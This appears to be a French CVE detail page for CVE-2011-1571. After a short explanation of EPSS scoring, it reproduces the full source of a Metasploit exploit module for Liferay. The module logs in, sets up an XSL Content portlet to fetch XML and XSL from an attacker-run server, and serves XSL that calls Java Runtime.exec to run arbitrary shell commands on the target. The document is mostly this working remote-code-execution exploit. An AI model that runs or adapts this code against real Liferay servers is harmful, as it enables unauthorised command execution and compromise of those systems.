CVE-2011-1571 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'active_support/json' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Liferay XSL Command Execution', 'Description' => %q{ This module exploits a vulnerability in the XSL parser of the XSL Content Portlet. When Tomcat is present, arbitrary code can be executed via java calls in the data fed to the Xalan XSLT processor. If XSLPAGE is defined, the user must have rights to change the content of that page (to add a new XSL portlet), otherwise it can be left blank and a new one will be created. The second method however, requires administrative privileges. }, 'Author' => [ # SecureState R&I Team - Special Thanks To Jake Garlie, Chris Murrey 'Spencer McIntyre', 'SecureState R&I Team', # SecureState Research and Innovation Team 'Nicolas Gregoire', # authored the vulnerability details provided in the wiki ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'References' => [ [ 'CVE', '2011-1571' ], [ 'URL', 'http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Application_Liferay' ], ], 'Privileged' => false, 'Platform' => [ 'win', 'linux', 'unix' ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', } }, 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic', { 'groupid' => 0, 'pauth' => false } ], [ 'Liferay 5.2.3 (Tomcat/JBoss)', { 'groupid' => 16, 'pauth' => false } ], [ 'Liferay 6.0.0 (Tomcat/JBoss)', { 'groupid' => 18, 'pauth' => false } ], [ 'Liferay 6.0.1-6 (Tomcat/JBoss)', { 'groupid' => 18, 'pauth' => true } ], ], 'DisclosureDate' => 'January 12, 2011', # Liferay portal issue # 14726 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ true, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', ]), OptString.new('XSLPAGE', [ false, 'Full path to the page to add an XSL portlet to, (default: random)', nil ]), OptString.new('PATH', [ true, 'The URI path of the portal', '/' ]), ], self.class) end def auto_target(headers) print_status("Attempting to automatically select a target...") case headers['liferay-portal'] when /5.2.3/ return targets[1] when /6.0.0/ return targets[2] when /6.0.[1-6]/ return targets[3] end return nil end def exploit print_status('Logging in and creating a page to embed XSL Content into...') res = send_request_cgi({ 'method' => 'GET', 'uri' => datastore['PATH'] + 'web/guest/home' }) mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target(res.headers) if (not mytarget) raise RuntimeError, "Unable to automatically select a target" end print_status("Automatically selected target \"#{mytarget.name}\"") else print_status("Using manually select target \"#{mytarget.name}\"") end sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0] cookie = "#{sessionid}; COOKIE_SUPPORT=true" app_base = rand_text_alphanumeric(8+rand(8)) new_page = datastore['XSLPAGE'] || rand_text_alphanumeric(8+rand(8)) malicious_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{app_base}" @xsl_data = run_cmd_with_xsl(payload.encoded) # this is really the data returned for XSL and XML requests service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri print_status("Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req, 'XSL') }, 'Path' => '/' + app_base + '.xsl' }}) start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req, 'XML') }, 'Path' => '/' + app_base + '.xml' }}) res = send_request_cgi({ 'method' => 'POST', 'uri' => datastore['PATH'] + 'web/guest/home?p_p_id=58&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&saveLastPath=0&_58_struts_action=%2Flogin%2Flogin', 'data' => "_58_redirect=&_58_rememberMe=false&_58_login=#{Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal')}&_58_password=#{Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal')}", 'cookie' => cookie }) if res.code != 302 print_error('Login failed.') return end cookie = '' for cookie_i in [ 'JSESSIONID=', 'LOGIN=', 'SCREEN_NAME=', 'COMPANY_ID=', 'ID=', 'PASSWORD=', 'REMEMBER_ME=' ] cookie << cookie_i + res.headers['set-cookie'].split(cookie_i)[1].split('; ')[0] + '; ' end xml_http_request_headers = { 'X-Requested-With' => 'XMLHttpRequest' } if datastore['XSLPAGE'] == nil # the page was not defined, so we try to create a new one res = send_request_cgi({ 'method' => 'POST', 'uri' => datastore['PATH'] + 'c/layout_management/update_page', 'data' => "mainPath=%2Fc&doAsUserId=&cmd=add&groupId=#{mytarget['groupid']}&privateLayout=false&parentLayoutId=0&name=#{new_page}", 'cookie' => cookie, 'headers' => xml_http_request_headers, }) if res.code != 200 or res.body == "" print_error('Could not create a new page to embed the XSL Content into...') return end new_page = datastore['PATH'] + 'web/guest/' + URI.parse(ActiveSupport::JSON.decode(res.body)['url']).path.split('/')[-1] # could possible be different and have a number at the end print_status("Successfully created page #{new_page}, now configuring XSL...") else new_page = datastore['PATH'] + 'web/guest/' + datastore['XSLPAGE'] end res = send_request_cgi({ 'method' => 'GET', 'uri' => new_page, 'cookie' => cookie }) plid = /getPlid:function\(\)\{return"[\d]{3,7}"}/i.match(res.body)[0][26..-3].to_i layoutid = /getLayoutId:function\(\)\{return\"[\d]{1,5}\"\}/i.match(res.body)[0][30..-3].to_i if mytarget['pauth'] pauth = 'p_auth=' + /\?p_auth=[a-zA-Z0-9]{3,12}&/i.match(res.body)[0][8..-6] + '&' else pauth = '' # versions prior to 6.0.1 do not require a p_auth token end res = send_request_cgi({ 'method' => 'POST', 'uri' => datastore['PATH'] + 'c/portal/update_layout', 'data' => "p_l_id=#{plid}&p_p_id=102&p_p_col_id=column-1&p_p_col_pos=0&doAsUserId=&dataType=json&cmd=add¤tURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}", 'cookie' => cookie, 'headers' => xml_http_request_headers, }) if res.code != 200 print_error('Could not create a new page to embed the XSL Content into...') return end portletid = /p_p_id_[\d]{1,4}_INSTANCE_[a-zA-Z0-9]{2,5}/i.match(res.body)[0][7..-1] res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{new_page}?#{pauth}p_p_id=86&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_86_struts_action=%2Fportlet_configuration%2Fedit_configuration&_86_returnToFullPageURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}&_86_portletResource=#{portletid}&_86_previewWidth=450", 'data' => "_86_cmd=update&_86_xmlURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xml&_86_xslURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xsl", 'cookie' => cookie, }) if res.code != 200 print_error('Could not configure the XSL Portlet') return end print_status("Successfully configured XSL Portlet, requesting page to execute code...") res = send_request_cgi({ 'method' => 'GET', 'uri' => new_page, 'cookie' => cookie }) # wait for the data to be sent waited = 0 while (not @xsl_sent) select(nil, nil, nil, 1) waited += 1 if (waited > 30) raise RuntimeError, 'Server did not request XSL data -- Maybe it cant connect back to us?' end end print_status("Shutting down the web service...") stop_service return res = send_request_cgi({ 'method' => 'POST', 'uri' => datastore['PATH'] + 'c/portal/update_layout', 'cookie' => cookie, 'data' => "p_l_id=#{plid}&p_p_id=#{portletid}&doAsUserId=&cmd=delete" }) if datastore['XSLPAGE'] == nil # we created the page, so delete it res = send_request_cgi({ 'method' => 'POST', 'uri' => datastore['PATH'] + 'c/layout_management/update_page', 'data' => "doAsUserId=&cmd=delete&groupId=#{mytarget['groupid']}&privateLayout=false&layoutId=#{layoutid}", 'cookie' => cookie, 'headers' => xml_http_request_headers, }) end end # Handle incoming requests from the server def on_request_uri(cli, request, resource) print_status("Sending the #{resource} File to the server...") send_response(cli, @xsl_data) @xsl_sent = true end def run_cmd_with_xsl(cmd) varpayload = rand_text_alpha(10+rand(8)) varruntime = rand_text_alpha(10+rand(8)) varproc = rand_text_alpha(10+rand(8)) payload = "<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:jv=\"http://xml.apache.org/xalan/java\" exclude-result-prefixes=\"jv\" version=\"1.0\">\n" payload << " <xsl:template match=\"/\">\n" payload << " <xsl:variable name=\"#{varruntime}\" select=\"jv:java.lang.Runtime.getRuntime()\"/>\n" payload << " <xsl:variable name=\"osversion\" select=\"jv:java.lang.System.getProperty('os.name')\"/>\n" payload << " <xsl:variable name=\"osversion\" select=\"jv:toLowerCase($osversion)\"/>\n\n" payload << " <xsl:choose>\n" payload << " <xsl:when test=\"contains($osversion,'windows')\">\n" payload << " <xsl:variable name=\"#{varpayload}\"><![CDATA[#{cmd}]]></xsl:variable>\n" payload << " <xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n" payload << " </xsl:when>\n\n" payload << " <xsl:otherwise>\n" payload << " <xsl:variable name=\"#{varpayload}\"><![CDATA[/bin/sh ==== -c ==== #{cmd}]]></xsl:variable>\n" payload << " <xsl:variable name=\"#{varpayload}\" select=\"jv:split($#{varpayload}, ' ==== ')\"/>\n" payload << " <xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n" payload << " </xsl:otherwise>\n" payload << " </xsl:choose>\n\n" payload << " </xsl:template>\n" payload << "</xsl:stylesheet>\n" payload end end